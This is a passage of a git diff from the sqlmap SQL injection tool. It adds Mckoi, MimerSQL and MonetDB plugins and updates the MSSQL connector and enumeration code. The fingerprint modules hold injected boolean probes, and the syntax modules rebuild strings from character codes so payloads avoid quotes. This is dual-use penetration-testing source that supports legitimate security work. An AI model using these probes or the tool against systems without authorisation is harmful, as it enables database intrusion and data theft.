lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Mckoi it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py new file mode 100644 index 00000000000..9ccc431eaa4 --- /dev/null +++ b/plugins/dbms/mckoi/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Mckoi it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on Mckoi it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def getCurrentDb(self): + warnMsg = "on Mckoi it is not possible to get name of the current database" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Mckoi it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on Mckoi it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Mckoi it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Mckoi it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on Mckoi it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on Mckoi it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Mckoi it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Mckoi it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on Mckoi search option is not available" + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on Mckoi it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Mckoi it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py new file mode 100644 index 00000000000..66d946579f4 --- /dev/null +++ b/plugins/dbms/mckoi/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Mckoi it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Mckoi it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py new file mode 100644 index 00000000000..312f3e3c16f --- /dev/null +++ b/plugins/dbms/mckoi/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MCKOI_DEFAULT_SCHEMA +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MCKOI) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MCKOI + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MCKOI_ALIASES): + setDbms(DBMS.MCKOI) + return True + + infoMsg = "testing %s" % DBMS.MCKOI + logger.info(infoMsg) + + result = inject.checkBooleanExpression("DATEOB()>=DATEOB(NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.MCKOI + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ABS(1/0)>ABS(0/1)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI + logger.warning(warnMsg) + + return False + + setDbms(DBMS.MCKOI) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI + logger.warning(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = MCKOI_DEFAULT_SCHEMA diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/mckoi/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py new file mode 100644 index 00000000000..d22277b674d --- /dev/null +++ b/plugins/dbms/mckoi/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Mckoi it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Mckoi it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Mckoi it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Mckoi it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py new file mode 100644 index 00000000000..af8f2232ea5 --- /dev/null +++ b/plugins/dbms/mimersql/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MIMERSQL_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.mimersql.enumeration import Enumeration +from plugins.dbms.mimersql.filesystem import Filesystem +from plugins.dbms.mimersql.fingerprint import Fingerprint +from plugins.dbms.mimersql.syntax import Syntax +from plugins.dbms.mimersql.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MimerSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MimerSQL methods + """ + + def __init__(self): + self.excludeDbsList = MIMERSQL_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MIMERSQL] = Syntax.escape diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py new file mode 100644 index 00000000000..74d27c43706 --- /dev/null +++ b/plugins/dbms/mimersql/connector.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import mimerpy +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/mimersql/MimerPy + User guide: https://github.com/mimersql/MimerPy/blob/master/README.rst + API: https://www.python.org/dev/peps/pep-0249/ + License: MIT + """ + + def connect(self): + self.initConnection() + + try: + # mimerpy.connect uses dsn/user/password (host/port come from Mimer's sqlhosts/MIMER_DATABASE + # configuration, not connect() kwargs); the previous hostname/username/... kwargs raised a TypeError + self.connector = mimerpy.connect(dsn=self.db, user=str(self.user), password=str(self.password)) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except mimerpy.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (mimerpy.OperationalError, mimerpy.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except mimerpy.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py new file mode 100644 index 00000000000..85ea9c93f28 --- /dev/null +++ b/plugins/dbms/mimersql/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MimerSQL it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MimerSQL it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on MimerSQL it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on MimerSQL it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/mimersql/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py new file mode 100644 index 00000000000..3372a8fe7b0 --- /dev/null +++ b/plugins/dbms/mimersql/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MIMERSQL_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MIMERSQL) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MIMERSQL + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MIMERSQL_ALIASES): + setDbms(DBMS.MIMERSQL) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MIMERSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("IRAND() IS NOT NULL") + + if result: + infoMsg = "confirming %s" % DBMS.MIMERSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("PASTE('[RANDSTR1]',0,0,'[RANDSTR2]')='[RANDSTR2][RANDSTR1]'") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL + logger.warning(warnMsg) + + return False + + setDbms(DBMS.MIMERSQL) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MIMERSQL + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py new file mode 100644 index 00000000000..8257c9af870 --- /dev/null +++ b/plugins/dbms/mimersql/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT UNICODE_CHAR(97)||UNICODE_CHAR(98)||UNICODE_CHAR(99)||UNICODE_CHAR(100)||UNICODE_CHAR(101)||UNICODE_CHAR(102)||UNICODE_CHAR(103)||UNICODE_CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("UNICODE_CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py new file mode 100644 index 00000000000..7055371b8c5 --- /dev/null +++ b/plugins/dbms/mimersql/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on MimerSQL it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on MimerSQL it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on MimerSQL it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on MimerSQL it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py new file mode 100644 index 00000000000..200b23b290f --- /dev/null +++ b/plugins/dbms/monetdb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MONETDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.monetdb.enumeration import Enumeration +from plugins.dbms.monetdb.filesystem import Filesystem +from plugins.dbms.monetdb.fingerprint import Fingerprint +from plugins.dbms.monetdb.syntax import Syntax +from plugins.dbms.monetdb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MonetDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MonetDB methods + """ + + def __init__(self): + self.excludeDbsList = MONETDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MONETDB] = Syntax.escape diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py new file mode 100644 index 00000000000..66a6bcdf8eb --- /dev/null +++ b/plugins/dbms/monetdb/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import pymonetdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/gijzelaerr/pymonetdb + User guide: https://pymonetdb.readthedocs.io/en/latest/index.html + API: https://www.python.org/dev/peps/pep-0249/ + License: Mozilla Public License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = pymonetdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except pymonetdb.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except pymonetdb.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (pymonetdb.OperationalError, pymonetdb.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except pymonetdb.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py new file mode 100644 index 00000000000..8634adab8d6 --- /dev/null +++ b/plugins/dbms/monetdb/enumeration.py @@ -0,0 +1,38 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on MonetDB it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on MonetDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on MonetDB it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on MonetDB it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/monetdb/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py new file mode 100644 index 00000000000..e429a9315bd --- /dev/null +++ b/plugins/dbms/monetdb/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MONETDB_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MONETDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MONETDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MONETDB_ALIASES): + setDbms(DBMS.MONETDB) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("isaurl(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.MONETDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("CODE(0) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warning(warnMsg) + + return False + + setDbms(DBMS.MONETDB) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MONETDB + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py new file mode 100644 index 00000000000..e93396d6e9f --- /dev/null +++ b/plugins/dbms/monetdb/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CODE(97)||CODE(98)||CODE(99)||CODE(100)||CODE(101)||CODE(102)||CODE(103)||CODE(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CODE(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py new file mode 100644 index 00000000000..bf0fa25305c --- /dev/null +++ b/plugins/dbms/monetdb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on MonetDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on MonetDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on MonetDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on MonetDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index c701c0f9fb1..e19a115f887 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS @@ -15,7 +15,6 @@ from plugins.dbms.mssqlserver.takeover import Takeover from plugins.generic.misc import Miscellaneous - class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft SQL Server methods @@ -24,11 +23,7 @@ class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous def __init__(self): self.excludeDbsList = MSSQL_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.MSSQL] = Syntax.escape diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 657d796fda6..fbc57a53255 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,19 +1,20 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ try: import _mssql import pymssql -except ImportError: +except: pass import logging -from lib.core.convert import utf8encode +from lib.core.common import getSafeExString +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -21,9 +22,9 @@ class Connector(GenericConnector): """ - Homepage: http://pymssql.sourceforge.net/ - User guide: http://pymssql.sourceforge.net/examples_pymssql.php - API: http://pymssql.sourceforge.net/ref_pymssql.php + Homepage: http://www.pymssql.org/en/stable/ + User guide: http://www.pymssql.org/en/stable/pymssql_examples.html + API: http://www.pymssql.org/en/stable/ref/pymssql.html Debian package: python-pymssql License: LGPL @@ -33,16 +34,15 @@ class Connector(GenericConnector): to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) - except (pymssql.InterfaceError, pymssql.OperationalError), msg: - raise SqlmapConnectionException(msg) + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + except ValueError: + raise SqlmapConnectionException self.initCursor() self.printConnected() @@ -50,27 +50,36 @@ def connect(self): def fetchall(self): try: return self.cursor.fetchall() - except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) + except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None - def execute(self, query): + def execute(self, query, commit=True): retVal = False try: - self.cursor.execute(utf8encode(query)) + self.cursor.execute(getText(query)) + # Commit non-SELECT (DML/DDL) here: direct() routes those to execute() alone, so without this a + # '--sql-query'/'--sql-shell' write was silently rolled back on connection close. select() passes + # commit=False and commits only AFTER fetchall(), because on pymssql commit() discards the open + # result cursor (which otherwise emptied every SELECT result). + if commit: + try: + self.connector.commit() + except pymssql.OperationalError: + pass retVal = True - except (pymssql.OperationalError, pymssql.ProgrammingError), msg: - logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) - except pymssql.InternalError, msg: - raise SqlmapConnectionException(msg) + except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) + except pymssql.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) return retVal def select(self, query): retVal = None - if self.execute(query): + if self.execute(query, commit=False): retVal = self.fetchall() try: diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index a653b964b19..bd27f55e2bb 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import re + from lib.core.agent import agent from lib.core.common import arrayizeValue -from lib.core.common import Backend from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue @@ -15,30 +16,30 @@ from lib.core.common import isTechniqueAvailable from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeStringFormat +from lib.core.common import singleTimeLogMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE +from 